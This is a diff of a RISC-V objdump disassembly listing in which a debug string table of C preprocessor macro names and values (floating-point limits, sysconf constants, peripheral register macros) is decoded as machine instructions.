+    218c:	5f45                	li	t5,-15
+    218e:	494c                	lw	a1,20(a0)
+    2190:	454e                	lw	a0,208(sp)
+    2192:	455a4953          	0x455a4953
+    2196:	3120                	fld	fs0,96(a0)
+    2198:	3732                	fld	fa4,296(sp)
+    219a:	6600                	flw	fs0,8(a2)
+    219c:	6572                	flw	fa0,28(sp)
+    219e:	0065                	c.nop	25
+    21a0:	5f5f 4544 4943      	0x494345445f5f
+    21a6:	414d                	li	sp,19
+    21a8:	5f4c                	lw	a1,60(a4)
+    21aa:	4944                	lw	s1,20(a0)
+    21ac:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    21b0:	5f003633          	0x5f003633
+    21b4:	445f 4c42 4d5f      	0x4d5f4c42445f
+    21ba:	4e49                	li	t3,18
+    21bc:	315f 5f30 5845      	0x58455f30315f
+    21c2:	5f50                	lw	a2,60(a4)
+    21c4:	205f 2d28 3033      	0x30332d28205f
+    21ca:	66002937          	lui	s2,0x66002
+    21ce:	6572                	flw	fa0,28(sp)
+    21d0:	5a65                	li	s4,-7
+    21d2:	4d656e6f          	jal	t3,586a8 <__stack_size+0x57ea8>
+    21d6:	7365                	lui	t1,0xffff9
+    21d8:	65676173          	csrrsi	sp,0x656,14
+    21dc:	5f00                	lw	s0,56(a4)
+    21de:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
+    21e2:	5450                	lw	a2,44(s0)
+    21e4:	4452                	lw	s0,20(sp)
+    21e6:	4649                	li	a2,18
+    21e8:	5f46                	lw	t5,112(sp)
+    21ea:	2054                	fld	fa3,128(s0)
+    21ec:	5f00                	lw	s0,56(a4)
+    21ee:	465f 544c 3233      	0x3233544c465f
+    21f4:	5f58                	lw	a4,60(a4)
+    21f6:	4544                	lw	s1,12(a0)
+    21f8:	4f4e                	lw	t5,208(sp)
+    21fa:	4d52                	lw	s10,20(sp)
+    21fc:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    2202:	3420                	fld	fs0,104(s0)
+    2204:	392e                	fld	fs2,232(sp)
+    2206:	3034                	fld	fa3,96(s0)
+    2208:	3536                	fld	fa0,360(sp)
+    220a:	3436                	fld	fs0,360(sp)
+    220c:	3835                	jal	1a48 <__stack_size+0x1248>
+    220e:	3134                	fld	fa3,96(a0)
+    2210:	3432                	fld	fs0,296(sp)
+    2212:	3536                	fld	fa0,360(sp)
+    2214:	3434                	fld	fa3,104(s0)
+    2216:	3731                	jal	2122 <__stack_size+0x1922>
+    2218:	3536                	fld	fa0,360(sp)
+    221a:	3836                	fld	fa6,360(sp)
+    221c:	38323937          	lui	s2,0x38323
+    2220:	3836                	fld	fa6,360(sp)
+    2222:	3232                	fld	ft4,296(sp)
+    2224:	3331                	jal	1f30 <__stack_size+0x1730>
+    2226:	2d653237          	lui	tp,0x2d653
+    222a:	46343233          	0x46343233
+    222e:	00783233          	sltu	tp,a6,t2
+    2232:	5f5f 4c46 5f54      	0x5f544c465f5f
+    2238:	494d                	li	s2,19
+    223a:	5f4e                	lw	t5,240(sp)
+    223c:	3031                	jal	1a48 <__stack_size+0x1248>
+    223e:	455f 5058 5f5f      	0x5f5f5058455f
+    2244:	2820                	fld	fs0,80(s0)
+    2246:	332d                	jal	1f70 <__stack_size+0x1770>
+    2248:	5f002937          	lui	s2,0x5f002
+    224c:	505f4353          	0x505f4353
+    2250:	5948                	lw	a0,52(a0)
+    2252:	41505f53          	0x41505f53
+    2256:	20534547          	fmsub.s	fa0,ft6,ft5,ft4,rmm
+    225a:	3131                	jal	1e66 <__stack_size+0x1666>
+    225c:	5f00                	lw	s0,56(a4)
+    225e:	465f 544c 3233      	0x3233544c465f
+    2264:	5f58                	lw	a4,60(a4)
+    2266:	4944                	lw	s1,20(a0)
+    2268:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    226c:	3531                	jal	2078 <__stack_size+0x1878>
+    226e:	5f00                	lw	s0,56(a4)
+    2270:	755f 6e69 3174      	0x31746e69755f
+    2276:	5f36                	lw	t5,108(sp)
+    2278:	0074                	addi	a3,sp,12
+    227a:	4e49                	li	t3,18
+    227c:	5f54                	lw	a3,60(a4)
+    227e:	454c                	lw	a1,12(a0)
+    2280:	5341                	li	t1,-16
+    2282:	3654                	fld	fa3,168(a2)
+    2284:	5f34                	lw	a3,120(a4)
+    2286:	414d                	li	sp,19
+    2288:	2058                	fld	fa4,128(s0)
+    228a:	5f5f 4e49 5f54      	0x5f544e495f5f
+    2290:	454c                	lw	a1,12(a0)
+    2292:	5341                	li	t1,-16
+    2294:	3654                	fld	fa3,168(a2)
+    2296:	5f34                	lw	a3,120(a4)
+    2298:	414d                	li	sp,19
+    229a:	5f58                	lw	a4,60(a4)
+    229c:	005f 4843 5241      	0x52414843005f
+    22a2:	425f 5449 5f20      	0x5f205449425f
+    22a8:	435f 4148 5f52      	0x5f524148435f
+    22ae:	4942                	lw	s2,16(sp)
+    22b0:	5f54                	lw	a3,60(a4)
+    22b2:	005f 535f 5f43      	0x5f43535f005f
+    22b8:	45564153          	0x45564153
+    22bc:	5f44                	lw	s1,60(a4)
+    22be:	4449                	li	s0,18
+    22c0:	00362053          	fadd.s	ft0,fa2,ft3,rdn
+    22c4:	5f5f 4e47 4355      	0x43554e475f5f
+    22ca:	494c                	lw	a1,20(a0)
+    22cc:	415f454b          	fnmsub.s	fa0,ft10,fs5,fs0,rmm
+    22d0:	33204d53          	0x33204d53
+    22d4:	4900                	lw	s0,16(a0)
+    22d6:	504d                	c.li	zero,-13
+    22d8:	494c                	lw	a1,20(a0)
+    22da:	46544943          	fmadd.q	fs2,fs0,ft5,fs0,rmm
+    22de:	4552                	lw	a0,20(sp)
+    22e0:	0045                	c.nop	17
+    22e2:	5f5f 5253 2044      	0x204452535f5f
+    22e8:	7830                	flw	fa2,112(s0)
+    22ea:	3030                	fld	fa2,96(s0)
+    22ec:	3430                	fld	fa2,104(s0)
+    22ee:	5f00                	lw	s0,56(a4)
+    22f0:	575f 4843 5241      	0x52414843575f
+    22f6:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    22fc:	2820                	fld	fs0,80(s0)
+    22fe:	5f2d                	li	t5,-21
+    2300:	575f 4843 5241      	0x52414843575f
+    2306:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    230c:	2d20                	fld	fs0,88(a0)
+    230e:	3120                	fld	fs0,96(a0)
+    2310:	0029                	c.nop	10
+    2312:	5f5f 5450 4452      	0x445254505f5f
+    2318:	4649                	li	a2,18
+    231a:	5f46                	lw	t5,112(sp)
+    231c:	54444957          	0x54444957
+    2320:	5f48                	lw	a0,60(a4)
+    2322:	205f 3233 5f00      	0x5f003233205f
+    2328:	465f 5342 4944      	0x49445342465f
+    232e:	2844                	fld	fs1,144(s0)
+    2330:	73202973          	csrr	s2,0x732
+    2334:	7274                	flw	fa3,100(a2)
+    2336:	6375                	lui	t1,0x1d
+    2338:	2074                	fld	fa3,192(s0)
+    233a:	5f5f 6168 6b63      	0x6b6361685f5f
+    2340:	5f00                	lw	s0,56(a4)
+    2342:	4955                	li	s2,21
+    2344:	544e                	lw	s0,240(sp)
+    2346:	5f38                	lw	a4,120(a4)
+    2348:	5f54                	lw	a3,60(a4)
+    234a:	4544                	lw	s1,12(a0)
+    234c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    2350:	4445                	li	s0,17
+    2352:	0020                	addi	s0,sp,8
+    2354:	5f5f 4e49 5f54      	0x5f544e495f5f
+    235a:	41484357          	0x41484357
+    235e:	5f52                	lw	t5,52(sp)
+    2360:	5f54                	lw	a3,60(a4)
+    2362:	2048                	fld	fa0,128(s0)
+    2364:	5f00                	lw	s0,56(a4)
+    2366:	325f4353          	0x325f4353
+    236a:	505f 5342 545f      	0x545f5342505f
+    2370:	4152                	lw	sp,20(sp)
+    2372:	31204b43          	fmadd.s	fs6,ft0,fs2,ft6,rmm
+    2376:	3831                	jal	1b92 <__stack_size+0x1392>
+    2378:	7400                	flw	fs0,40(s0)
+    237a:	6d65                	lui	s10,0x19
+    237c:	0070                	addi	a2,sp,12
+    237e:	535f 5f43 4552      	0x45525f43535f
+    2384:	4441                	li	s0,16
+    2386:	5245                	li	tp,-15
+    2388:	575f 4952 4554      	0x45544952575f
+    238e:	5f52                	lw	t5,52(sp)
+    2390:	4f4c                	lw	a1,28(a4)
+    2392:	20534b43          	fmadd.s	fs6,ft6,ft5,ft4,rmm
+    2396:	5f003137          	lui	sp,0x5f003
+    239a:	4f50                	lw	a2,28(a4)
+    239c:	5f584953          	0x5f584953
+    23a0:	52554f53          	0x52554f53
+    23a4:	50004543          	fmadd.s	fa0,ft0,ft0,fa0,rmm
+    23a8:	5044                	lw	s1,36(s0)
+    23aa:	455f 444e 4149      	0x4149444e455f
+    23b0:	204e                	fld	ft0,208(sp)
+    23b2:	505f 5044 455f      	0x455f5044505f
+    23b8:	444e                	lw	s0,208(sp)
+    23ba:	4149                	li	sp,18
+    23bc:	004e                	c.slli	zero,0x13
+    23be:	5f5f 6973 657a      	0x657a69735f5f
+    23c4:	745f 0020 5f5f      	0x5f5f0020745f
+    23ca:	544e4957          	0x544e4957
+    23ce:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    23d4:	3020                	fld	fs0,96(s0)
+    23d6:	6678                	flw	fa4,76(a2)
+    23d8:	6666                	flw	fa2,88(sp)
+    23da:	6666                	flw	fa2,88(sp)
+    23dc:	6666                	flw	fa2,88(sp)
+    23de:	5566                	lw	a0,120(sp)
+    23e0:	5f00                	lw	s0,56(a4)
+    23e2:	4c5f4353          	0x4c5f4353
+    23e6:	5645                	li	a2,-15
+    23e8:	4c45                	li	s8,17
+    23ea:	5f32                	lw	t5,44(sp)
+    23ec:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+    23f0:	5f45                	li	t5,-15
+    23f2:	494c                	lw	a1,20(a0)
+    23f4:	454e                	lw	a0,208(sp)
+    23f6:	455a4953          	0x455a4953
+    23fa:	3120                	fld	fs0,96(a0)
+    23fc:	5f003333          	0x5f003333
+    2400:	465f 544c 455f      	0x455f544c465f
+    2406:	5350                	lw	a2,36(a4)
+    2408:	4c49                	li	s8,18
+    240a:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    240e:	3120                	fld	fs0,96(a0)
+    2410:	312e                	fld	ft2,232(sp)
+    2412:	3239                	jal	1d20 <__stack_size+0x1520>
+    2414:	3930                	fld	fa2,112(a0)
+    2416:	3832                	fld	fa6,296(sp)
+    2418:	3539                	jal	2226 <__stack_size+0x1a26>
+    241a:	3035                	jal	1c46 <__stack_size+0x1446>
+    241c:	32313837          	lui	a6,0x32313
+    2420:	3035                	jal	1c4c <__stack_size+0x144c>
+    2422:	3030                	fld	fa2,96(s0)
+    2424:	3030                	fld	fa2,96(s0)
+    2426:	3030                	fld	fa2,96(s0)
+    2428:	3030                	fld	fa2,96(s0)
+    242a:	3030                	fld	fa2,96(s0)
+    242c:	3030                	fld	fa2,96(s0)
+    242e:	3030                	fld	fa2,96(s0)
     2430:	3030                	fld	fa2,96(s0)
-    2432:	0030                	addi	a2,sp,8
-    2434:	5f5f 4347 5f43      	0x5f4343475f5f
-    243a:	5441                	li	s0,-16
-    243c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    2440:	545f 5345 5f54      	0x5f545345545f
-    2446:	4e41                	li	t3,16
-    2448:	5f44                	lw	s1,60(a4)
-    244a:	5f544553          	0x5f544553
-    244e:	5254                	lw	a3,36(a2)
-    2450:	4555                	li	a0,21
-    2452:	4156                	lw	sp,84(sp)
-    2454:	204c                	fld	fa1,128(s0)
-    2456:	0031                	c.nop	12
-    2458:	5f5f 4955 544e      	0x544e49555f5f
-    245e:	545f3233          	0x545f3233
-    2462:	5059                	c.li	zero,-10
-    2464:	5f45                	li	t5,-15
-    2466:	205f 6f6c 676e      	0x676e6f6c205f
-    246c:	7520                	flw	fs0,104(a0)
-    246e:	736e                	flw	ft6,248(sp)
-    2470:	6769                	lui	a4,0x1a
-    2472:	656e                	flw	fa0,216(sp)
-    2474:	2064                	fld	fs1,192(s0)
-    2476:	6e69                	lui	t3,0x1a
-    2478:	0074                	addi	a3,sp,12
-    247a:	5f5f 4e47 4355      	0x43554e475f5f
-    2480:	494c                	lw	a1,20(a0)
-    2482:	5f5f454b          	fnmsub.q	fa0,ft10,fs5,fa1,rmm
-    2486:	4f5f 4646 4553      	0x455346464f5f
-    248c:	4f54                	lw	a3,28(a4)
-    248e:	2046                	fld	ft0,80(sp)
-    2490:	0031                	c.nop	12
-    2492:	535f 5f43 454c      	0x454c5f43535f
-    2498:	4556                	lw	a0,84(sp)
-    249a:	314c                	fld	fa1,160(a0)
-    249c:	445f 4143 4843      	0x48434143445f
-    24a2:	5f45                	li	t5,-15
-    24a4:	455a4953          	0x455a4953
-    24a8:	3120                	fld	fs0,96(a0)
-    24aa:	3832                	fld	fa6,296(sp)
-    24ac:	5f00                	lw	s0,56(a4)
-    24ae:	555f 4e49 3854      	0x38544e49555f
-    24b4:	435f 6328 2029      	0x20296328435f
-    24ba:	44460063          	beq	a2,tp,28fa <__stack_size+0x20fa>
-    24be:	435f 4f4c 5845      	0x58454f4c435f
-    24c4:	4345                	li	t1,17
-    24c6:	3120                	fld	fs0,96(a0)
-    24c8:	5f00                	lw	s0,56(a4)
-    24ca:	465f 544c 3233      	0x3233544c465f
-    24d0:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    24d6:	3320                	fld	fs0,96(a4)
-    24d8:	342e                	fld	fs0,232(sp)
-    24da:	3230                	fld	fa2,96(a2)
-    24dc:	3238                	fld	fa4,96(a2)
-    24de:	36363433          	0x36363433
-    24e2:	32353833          	0x32353833
-    24e6:	3838                	fld	fa4,112(s0)
-    24e8:	3935                	jal	2124 <__stack_size+0x1924>
-    24ea:	3138                	fld	fa4,96(a0)
-    24ec:	3731                	jal	23f8 <__stack_size+0x1bf8>
-    24ee:	3430                	fld	fa2,104(s0)
-    24f0:	3831                	jal	1d0c <__stack_size+0x150c>
-    24f2:	34383433          	0x34383433
-    24f6:	3135                	jal	2122 <__stack_size+0x1922>
-    24f8:	3936                	fld	fs2,360(sp)
-    24fa:	3532                	fld	fa0,296(sp)
-    24fc:	2b65                	jal	2ab4 <__stack_size+0x22b4>
-    24fe:	33463833          	0x33463833
-    2502:	0032                	c.slli	zero,0xc
-    2504:	575f 4e41 5f54      	0x5f544e41575f
-    250a:	4552                	lw	a0,20(sp)
-    250c:	54534947          	0x54534947
-    2510:	5245                	li	tp,-15
-    2512:	465f 4e49 2049      	0x20494e49465f
-    2518:	0031                	c.nop	12
-    251a:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    251e:	485f 4749 5f48      	0x5f484749485f
-    2524:	4549                	li	a0,18
-    2526:	3020                	fld	fs0,96(s0)
-    2528:	3278                	fld	fa4,224(a2)
-    252a:	0038                	addi	a4,sp,8
-    252c:	4e49                	li	t3,18
-    252e:	3854                	fld	fa3,176(s0)
-    2530:	435f 6328 2029      	0x20296328435f
-    2536:	5f5f 4e49 3854      	0x38544e495f5f
-    253c:	435f 6328 0029      	0x296328435f
-    2542:	4955                	li	s2,21
-    2544:	544e                	lw	s0,240(sp)
-    2546:	3631                	jal	2052 <__stack_size+0x1852>
-    2548:	4d5f 5841 5f20      	0x5f2058414d5f
-    254e:	555f 4e49 3154      	0x31544e49555f
-    2554:	5f36                	lw	t5,108(sp)
-    2556:	414d                	li	sp,19
-    2558:	5f58                	lw	a4,60(a4)
-    255a:	005f 5f5f 6577      	0x65775f5f005f
-    2560:	6b61                	lui	s6,0x18
-    2562:	735f 6d79 6f62      	0x6f626d79735f
-    2568:	206c                	fld	fa1,192(s0)
-    256a:	5f5f 7461 7274      	0x727474615f5f
-    2570:	6269                	lui	tp,0x1a
-    2572:	7475                	lui	s0,0xffffd
-    2574:	5f65                	li	t5,-7
-    2576:	285f 5f28 775f      	0x775f5f28285f
-    257c:	6165                	addi	sp,sp,112
-    257e:	295f5f6b          	0x295f5f6b
-    2582:	0029                	c.nop	10
-    2584:	5f5f 6c66 7865      	0x78656c665f5f
-    258a:	7261                	lui	tp,0xffff8
-    258c:	2072                	fld	ft0,280(sp)
-    258e:	005d305b          	0x5d305b
-    2592:	525f 4545 544e      	0x544e4545525f
-    2598:	525f 4e41 3444      	0x34444e41525f
-    259e:	5f38                	lw	a4,120(a4)
-    25a0:	4441                	li	s0,16
-    25a2:	2844                	fld	fs1,144(s0)
-    25a4:	7470                	flw	fa2,108(s0)
-    25a6:	2972                	fld	fs2,280(sp)
-    25a8:	2820                	fld	fs0,80(s0)
-    25aa:	7028                	flw	fa0,96(s0)
-    25ac:	7274                	flw	fa3,100(a2)
-    25ae:	2d29                	jal	2bc8 <__stack_size+0x23c8>
-    25b0:	5f3e                	lw	t5,236(sp)
-    25b2:	656e                	flw	fa0,216(sp)
-    25b4:	725f2e77          	0x725f2e77
-    25b8:	6565                	lui	a0,0x19
-    25ba:	746e                	flw	fs0,248(sp)
-    25bc:	5f2e                	lw	t5,232(sp)
-    25be:	3472                	fld	fs0,312(sp)
-    25c0:	2e38                	fld	fa4,88(a2)
-    25c2:	615f 6464 0029      	0x296464615f
-    25c8:	5750                	lw	a2,44(a4)
-    25ca:	5f4d                	li	t5,-13
-    25cc:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    25d0:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
-    25d4:	5049                	c.li	zero,-14
-    25d6:	3020                	fld	fs0,96(s0)
-    25d8:	3178                	fld	fa4,224(a0)
-    25da:	3030                	fld	fa2,96(s0)
-    25dc:	3030                	fld	fa2,96(s0)
-    25de:	3030                	fld	fa2,96(s0)
-    25e0:	0030                	addi	a2,sp,8
-    25e2:	5542                	lw	a0,48(sp)
-    25e4:	4646                	lw	a2,80(sp)
-    25e6:	5245                	li	tp,-15
-    25e8:	535f 5a49 2045      	0x20455a49535f
-    25ee:	63003233          	0x63003233
-    25f2:	6c5f6c6f          	jal	s8,f94b6 <__stack_size+0xf8cb6>
-    25f6:	6e65                	lui	t3,0x19
-    25f8:	4f00                	lw	s0,24(a4)
-    25fa:	435f 4f4c 5845      	0x58454f4c435f
-    2600:	4345                	li	t1,17
-    2602:	5f20                	lw	s0,120(a4)
-    2604:	4e46                	lw	t3,80(sp)
-    2606:	484e494f          	fnmadd.s	fs2,ft8,ft4,fs1,rmm
-    260a:	5245                	li	tp,-15
-    260c:	5449                	li	s0,-14
-    260e:	4100                	lw	s0,0(a0)
-    2610:	53454343          	fmadd.d	ft6,fa0,fs4,fa0,rmm
-    2614:	52455053          	0x52455053
-    2618:	534d                	li	t1,-13
-    261a:	2820                	fld	fs0,80(s0)
-    261c:	52495f53          	0x52495f53
-    2620:	20555857          	0x20555857
-    2624:	207c                	fld	fa5,192(s0)
-    2626:	52495f53          	0x52495f53
-    262a:	20475857          	0x20475857
-    262e:	207c                	fld	fa5,192(s0)
-    2630:	52495f53          	0x52495f53
-    2634:	294f5857          	0x294f5857
-    2638:	5f00                	lw	s0,56(a4)
-    263a:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    2640:	6572                	flw	fa0,28(sp)
-    2642:	656c                	flw	fa1,76(a0)
-    2644:	7361                	lui	t1,0xffff8
-    2646:	2865                	jal	26fe <__stack_size+0x1efe>
-    2648:	6f6c                	flw	fa1,92(a4)
-    264a:	20296b63          	bltu	s2,sp,2860 <__stack_size+0x2060>
-    264e:	2828                	fld	fa0,80(s0)
-    2650:	6f76                	flw	ft10,92(sp)
-    2652:	6469                	lui	s0,0x1a
-    2654:	2029                	jal	265e <__stack_size+0x1e5e>
-    2656:	2930                	fld	fa2,80(a0)
-    2658:	5f00                	lw	s0,56(a4)
-    265a:	4f5f 4452 5245      	0x524544524f5f
-    2660:	4c5f 5449 4c54      	0x4c5454494c5f
-    2666:	5f45                	li	t5,-15
-    2668:	4e45                	li	t3,17
-    266a:	4944                	lw	s1,20(a0)
-    266c:	4e41                	li	t3,16
-    266e:	5f5f 3120 3332      	0x333231205f5f
-    2674:	0034                	addi	a3,sp,8
-    2676:	505f 5254 4944      	0x49445254505f
-    267c:	4646                	lw	a2,80(sp)
-    267e:	545f 445f 4345      	0x4345445f545f
-    2684:	414c                	lw	a1,4(a0)
-    2686:	4552                	lw	a0,20(sp)
-    2688:	2044                	fld	fs1,128(s0)
-    268a:	5f00                	lw	s0,56(a4)
-    268c:	4552                	lw	a0,20(sp)
-    268e:	4e45                	li	t3,17
-    2690:	5f54                	lw	a3,60(a4)
-    2692:	4e474953          	0x4e474953
-    2696:	284d4147          	fmsub.s	ft2,fs10,ft4,ft5,rmm
-    269a:	7470                	flw	fa2,108(s0)
-    269c:	2972                	fld	fs2,280(sp)
-    269e:	2820                	fld	fs0,80(s0)
-    26a0:	7028                	flw	fa0,96(s0)
-    26a2:	7274                	flw	fa3,100(a2)
-    26a4:	2d29                	jal	2cbe <__stack_size+0x24be>
-    26a6:	5f3e                	lw	t5,236(sp)
-    26a8:	656e                	flw	fa0,216(sp)
-    26aa:	725f2e77          	0x725f2e77
-    26ae:	6565                	lui	a0,0x19
-    26b0:	746e                	flw	fs0,248(sp)
-    26b2:	5f2e                	lw	t5,232(sp)
-    26b4:	6d6d6167          	0x6d6d6167
-    26b8:	5f61                	li	t5,-8
-    26ba:	6e676973          	csrrsi	s2,0x6e6,14
-    26be:	296d6167          	0x296d6167
-    26c2:	5f00                	lw	s0,56(a4)
-    26c4:	615f 776c 7961      	0x7961776c615f
-    26ca:	6e695f73          	csrrwi	t5,0x6e6,18
-    26ce:	696c                	flw	fa1,84(a0)
-    26d0:	656e                	flw	fa0,216(sp)
-    26d2:	5f20                	lw	s0,120(a4)
-    26d4:	695f 6c6e 6e69      	0x6e696c6e695f
-    26da:	5f65                	li	t5,-7
-    26dc:	205f 5f5f 7461      	0x74615f5f205f
-    26e2:	7274                	flw	fa3,100(a2)
-    26e4:	6269                	lui	tp,0x1a
-    26e6:	7475                	lui	s0,0xffffd
-    26e8:	5f65                	li	t5,-7
-    26ea:	285f 5f28 615f      	0x615f5f28285f
-    26f0:	776c                	flw	fa1,108(a4)
-    26f2:	7961                	lui	s2,0xffff8
-    26f4:	6e695f73          	csrrwi	t5,0x6e6,18
-    26f8:	696c                	flw	fa1,84(a0)
-    26fa:	656e                	flw	fa0,216(sp)
-    26fc:	5f5f 2929 5300      	0x530029295f5f
-    2702:	495f 5752 5558      	0x55585752495f
-    2708:	2820                	fld	fs0,80(s0)
-    270a:	52495f53          	0x52495f53
-    270e:	5355                	li	t1,-11
-    2710:	2052                	fld	ft0,272(sp)
-    2712:	207c                	fld	fa5,192(s0)
-    2714:	57495f53          	0x57495f53
-    2718:	5355                	li	t1,-11
-    271a:	2052                	fld	ft0,272(sp)
-    271c:	207c                	fld	fa5,192(s0)
-    271e:	58495f53          	0x58495f53
-    2722:	5355                	li	t1,-11
-    2724:	2952                	fld	fs2,272(sp)
-    2726:	5f00                	lw	s0,56(a4)
-    2728:	755f 6e69 3374      	0x33746e69755f
-    272e:	5f32                	lw	t5,44(sp)
-    2730:	0074                	addi	a3,sp,12
-    2732:	5f5f 4c46 5f54      	0x5f544c465f5f
-    2738:	4944                	lw	s1,20(a0)
-    273a:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    273e:	0036                	c.slli	zero,0xd
-    2740:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
-    2746:	69735f63          	bge	t1,s7,2de4 <__stack_size+0x25e4>
-    274a:	657a                	flw	fa0,156(sp)
-    274c:	2832                	fld	fa6,264(sp)
-    274e:	2c6e                	fld	fs8,216(sp)
-    2750:	2978                	fld	fa4,208(a0)
-    2752:	5f20                	lw	s0,120(a4)
-    2754:	615f 7474 6972      	0x69727474615f
-    275a:	7562                	flw	fa0,56(sp)
-    275c:	6574                	flw	fa3,76(a0)
-    275e:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    2764:	6c61                	lui	s8,0x18
-    2766:	6f6c                	flw	fa1,92(a4)
-    2768:	69735f63          	bge	t1,s7,2e06 <__stack_size+0x2606>
-    276c:	657a                	flw	fa0,156(sp)
-    276e:	5f5f 6e28 202c      	0x202c6e285f5f
-    2774:	2978                	fld	fa4,208(a0)
-    2776:	2929                	jal	2b90 <__stack_size+0x2390>
-    2778:	5f00                	lw	s0,56(a4)
-    277a:	445f 4c42 4d5f      	0x4d5f4c42445f
-    2780:	5841                	li	a6,-16
-    2782:	455f 5058 5f5f      	0x5f5f5058455f
-    2788:	3120                	fld	fs0,96(a0)
-    278a:	3230                	fld	fa2,96(a2)
-    278c:	0034                	addi	a3,sp,8
-    278e:	6e75                	lui	t3,0x1d
-    2790:	6e676973          	csrrsi	s2,0x6e6,14
-    2794:	6465                	lui	s0,0x19
-    2796:	7320                	flw	fs0,96(a4)
-    2798:	6769                	lui	a4,0x1a
-    279a:	656e                	flw	fa0,216(sp)
-    279c:	0064                	addi	s1,sp,12
-    279e:	5f5f 4955 544e      	0x544e49555f5f
-    27a4:	4c5f 4145 5453      	0x545341454c5f
-    27aa:	3631                	jal	22b6 <__stack_size+0x1ab6>
-    27ac:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    27b2:	3020                	fld	fs0,96(s0)
-    27b4:	6678                	flw	fa4,76(a2)
-    27b6:	6666                	flw	fa2,88(sp)
-    27b8:	0066                	c.slli	zero,0x19
-    27ba:	5f5f 4953 455a      	0x455a49535f5f
-    27c0:	575f 4449 4854      	0x48544449575f
-    27c6:	5f5f 3320 0032      	0x3233205f5f
-    27cc:	4446                	lw	s0,80(sp)
-    27ce:	535f 5445 6e28      	0x6e285445535f
-    27d4:	702c                	flw	fa1,96(s0)
-    27d6:	2029                	jal	27e0 <__stack_size+0x1fe0>
-    27d8:	2828                	fld	fa0,80(s0)
-    27da:	2970                	fld	fa2,208(a0)
-    27dc:	3e2d                	jal	2316 <__stack_size+0x1b16>
-    27de:	6466                	flw	fs0,88(sp)
-    27e0:	69625f73          	csrrwi	t5,0x696,4
-    27e4:	7374                	flw	fa3,100(a4)
-    27e6:	296e285b          	0x296e285b
-    27ea:	44464e2f          	0x44464e2f
-    27ee:	4942                	lw	s2,16(sp)
-    27f0:	5354                	lw	a3,36(a4)
-    27f2:	205d                	jal	2898 <__stack_size+0x2098>
-    27f4:	3d7c                	fld	fa5,248(a0)
-    27f6:	2820                	fld	fs0,80(s0)
-    27f8:	4c31                	li	s8,12
-    27fa:	3c20                	fld	fs0,120(s0)
-    27fc:	203c                	fld	fa5,64(s0)
-    27fe:	2828                	fld	fa0,80(s0)
-    2800:	296e                	fld	fs2,216(sp)
-    2802:	2520                	fld	fs0,72(a0)
-    2804:	4e20                	lw	s0,88(a2)
-    2806:	4446                	lw	s0,80(sp)
-    2808:	4942                	lw	s2,16(sp)
-    280a:	5354                	lw	a3,36(a4)
-    280c:	2929                	jal	2c26 <__stack_size+0x2426>
-    280e:	0029                	c.nop	10
-    2810:	5f5f 756e 6c6c      	0x6c6c756e5f5f
-    2816:	735f 6e65 6974      	0x69746e65735f
-    281c:	656e                	flw	fa0,216(sp)
-    281e:	206c                	fld	fa1,192(s0)
-    2820:	5f5f 7461 7274      	0x727474615f5f
-    2826:	6269                	lui	tp,0x1a
-    2828:	7475                	lui	s0,0xffffd
-    282a:	5f65                	li	t5,-7
-    282c:	285f 5f28 735f      	0x735f5f28285f
-    2832:	6e65                	lui	t3,0x19
-    2834:	6974                	flw	fa3,84(a0)
-    2836:	656e                	flw	fa0,216(sp)
-    2838:	5f6c                	lw	a1,124(a4)
-    283a:	295f 0029 535f      	0x535f0029295f
-    2840:	45475f43          	0x45475f43
-    2844:	4754                	lw	a3,12(a4)
-    2846:	5f52                	lw	t5,52(sp)
-    2848:	5f52                	lw	t5,52(sp)
-    284a:	455a4953          	0x455a4953
-    284e:	4d5f 5841 3520      	0x352058414d5f
-    2854:	0030                	addi	a2,sp,8
-    2856:	535f 5359 535f      	0x535f5359535f
-    285c:	5254                	lw	a3,36(a2)
-    285e:	4e49                	li	t3,18
-    2860:	20485f47          	fmsub.s	ft10,fa6,ft4,ft4,unknown
-    2864:	5300                	lw	s0,32(a4)
-    2866:	4454                	lw	a3,12(s0)
-    2868:	5f54554f          	fnmadd.q	fa0,fs0,fs5,fa1,unknown
-    286c:	4946                	lw	s2,80(sp)
-    286e:	454c                	lw	a1,12(a0)
-    2870:	4f4e                	lw	t5,208(sp)
-    2872:	3120                	fld	fs0,96(a0)
-    2874:	5f00                	lw	s0,56(a4)
-    2876:	535f 5a49 4f45      	0x4f455a49535f
-    287c:	5f46                	lw	t5,112(sp)
-    287e:	455a4953          	0x455a4953
-    2882:	545f 5f5f 3420      	0x34205f5f545f
-    2888:	5000                	lw	s0,32(s0)
-    288a:	5441                	li	s0,-16
-    288c:	5f48                	lw	a0,60(a4)
-    288e:	414d                	li	sp,19
-    2890:	2058                	fld	fa4,128(s0)
-    2892:	3031                	jal	209e <__stack_size+0x189e>
-    2894:	3432                	fld	fs0,296(sp)
-    2896:	5f00                	lw	s0,56(a4)
-    2898:	465f 544c 3436      	0x3436544c465f
-    289e:	5f58                	lw	a4,60(a4)
-    28a0:	414d                	li	sp,19
-    28a2:	5f58                	lw	a4,60(a4)
-    28a4:	205f 2e31 3831      	0x38312e31205f
-    28aa:	3739                	jal	27b8 <__stack_size+0x1fb8>
-    28ac:	39343133          	0x39343133
-    28b0:	3335                	jal	25dc <__stack_size+0x1ddc>
-    28b2:	3735                	jal	27de <__stack_size+0x1fde>
-    28b4:	3332                	fld	ft6,296(sp)
-    28b6:	3731                	jal	27c2 <__stack_size+0x1fc2>
